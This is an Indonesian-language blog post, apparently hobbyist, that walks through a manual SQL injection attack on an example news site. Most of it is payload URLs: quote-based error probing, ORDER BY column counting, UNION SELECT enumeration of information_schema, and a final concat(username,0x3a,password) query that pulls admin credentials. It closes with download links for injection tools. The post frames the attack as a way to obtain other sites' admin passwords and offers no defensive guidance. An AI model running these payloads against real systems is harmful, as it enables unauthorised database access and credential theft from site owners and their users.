mau tau apa itu SQL Injection

 Apa itu SQL Injection?

SQL Injection merupakan sebuah teknik hacking dimana

seorang penyerang dapat meng insert perintah-perintah SQL

melalui url untuk dieksekusi oleh database.

Penyebab utama dari celah ini adalah variable yang kurang

di filter :


id=$id;……. >



Got Error

Hal pertama yang harus kamu lakukan adalah mengetahui

apakah situs tersebut terkena celah SQL Injection atau

tidak, yaitu dengan membuat sebuah error dengan menambahkan

karakter ‘ setelah url.

Example : http://situsq.com/berita.php?id=14’

Apabila terlihat pesan error seperti ini :

You have an error in your SQL syntax.You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right syntax to use near ”’

at line 1

Maka bisa dipastikan situs tersebut terdapat celah SQL

Injection…

Next Step

Nah setelah mengetahui bahwa di situs tersebut terdapat

celah SQL Injection maka yang harus kamu lakukan

selanjutnya adalah menghitung jumlah table yang ada di

dalam databasenya (tenang aja gak pake matematika kok :P)

caranya dengan perintah “order by”

Example : http://situsq.com/berita.php?id=-14+order+by+10/*

Uuppss… mengapa “-14”? karena -14 bukanlah id berita yang

valid… trus 10, angka buat apaan tuh? Hhmm… untuk

mengetahui jumlah tabelnya pertama-tama kita harus menebak

terlebih dahulu apabila muncul pesan error seperti ini :

Unknown column ‘10′ in ‘order clause’

berarti jumlah tebakan kita salah, but klo situsnya muncul

seperti biasa berarti jumlah tebakan kita sudah benar :D…

trus karakter “+” dan “/*” gunanya buat apa?

+ <=- sebagai penghubung perintah

Atau dapat juga diganti dengan :

/**/

%20

Sedangkan karakter “/*” adalah karakter penutup perintah

sql atau dapat juga diganti dengan :



Nah klo semuanya udah jelas sekarang kita lanjut pake

union… buat mengetahui angka berapa yang show

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,4,5,6,7,8,9,10/*

Nah apabila muncul angka yang tadinya gak ada dihalaman

tersebut berarti itulah angka yang show… nah angka yang

show itulah yang nantinya bakalan kita injek (bukan pake

sepatu)… pertama kita cari tau version mysql yang dia pake,

apabila tadi yang muncul adalah angka 4 maka kita akan pake

angka 4

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,version(),5,6,7,8,9,10/*

Nah klo misalnya yang keluar ada angka 5 berarti situs

tersebut memakai database versi 5… nah klo udah tau

versinya sekarang kita cari tahu nama databasenya caranya

cukup ganti “version()” tadi dengan “database()”… Next

seumpamanya tadi versi 5 berarti kita bisa pake perintah

information_schema untuk melihat tabel & kolom yang ada di

dalam databasenya.

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat

ion_schema.tables/*

Selanjutnya kita harus menambahkan LIMIT di akhir url untuk

melihat tabel-tabel yang lainnya…

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+informat

ion_schema.tables+limit+0,1/*

Selanjutnya kamu tinggal merubah angka 0,1 menjadi 1,1 dan

2,1 begitu seterusnya sampai kamu menemukan tabel-tabel

penting yang ada dalam database seperti “tbl_admin,

tbl_user, users dll”… klo dah keliatan semua s’lanjutnya

kita akan melihat kolom-kolom yang ada dalam tabel yang

kita dapatkan tadi caranya hampir sama dengan cara mencari

tabel tadi.

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa

tion_schema.columns/*

Setelah itu mmenggunakan limit 0,1 dan seterusnya

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa

tion_schema.columns+limit+0,1/*

Sehingga kita menemukan kolom-kolom seperti

“username,password,email dll” atau kamu bisa mencari tabel

user dengan menambahkan perintah where table_name=’user’/*

Example : http://situsq.com/berita.php?id=-

14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+informa

tion_schema.columns+where+table_name=’user’/*

Biasanya untuk lebih memudahkan menemukan tabel dan kolom

saya sering menggunakan sebuah tool yang bernama

schemafuzz.py tetapi setidaknya kamu harus mengerti cara

diatas terlebih dahulu karena tool disini hanya alat Bantu

saja…




Got Password

Nah,,, disinilah inti dari SQL Injection… yaitu mendapatkan
password admin… apabila tadi kamu telah menemukan tabel
admin yang bernama “tbl_admin” dan kolom-kolomnya seperti
“username,password” dll sekarang untuk melihat isi dari
kolom username dan password tersebut kamu akan menggunakan
concat.
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,concat(username,0x3a,password)
,5,6,7,8,9,10+from+tbl_admin/*
0x3a <=- adalah pemisah kolom username dan password agar
dapat dibedakan yang mana password dan yang mana username
atau dapat juga diganti dengan char(58).
Sekarang dah dapat passwordnya??? Tunggu apalagi?? Lapor
ama admin… xixixixi

SQL Injection Tools

Untuk mempermudah proses SQL Injection kamu dapat
menggunakan beberapa tools seperti dibawah ini :
SQLNinja
http://rapidshare.com/files/141976022/sqlninja-0.2.3.tgz
Schemafuzz
http://rapidshare.com/files/141977412/schemafuzz.py
SQLDataExt
http://rapidshare.com/files/141977790/dataext.pl
SQL Power Injection
http://rapidshare.com/files/141978979/sqlpowerinjector.xpi
Blindfuzz
http://rapidshare.com/files/141979105/blindfuzz.py


berbagai sumber :

…Semoga Bermanfaat… !.Semoga Sukses.! .send komentar ya.




Artikel terkait:

{ 0 komentar... read them below or add one }

Poskan Komentar

terima kasih telah berkunjung sobat.
Silahkan komentar,kritik dan sarannya
setidaknya tegur sapa.heheh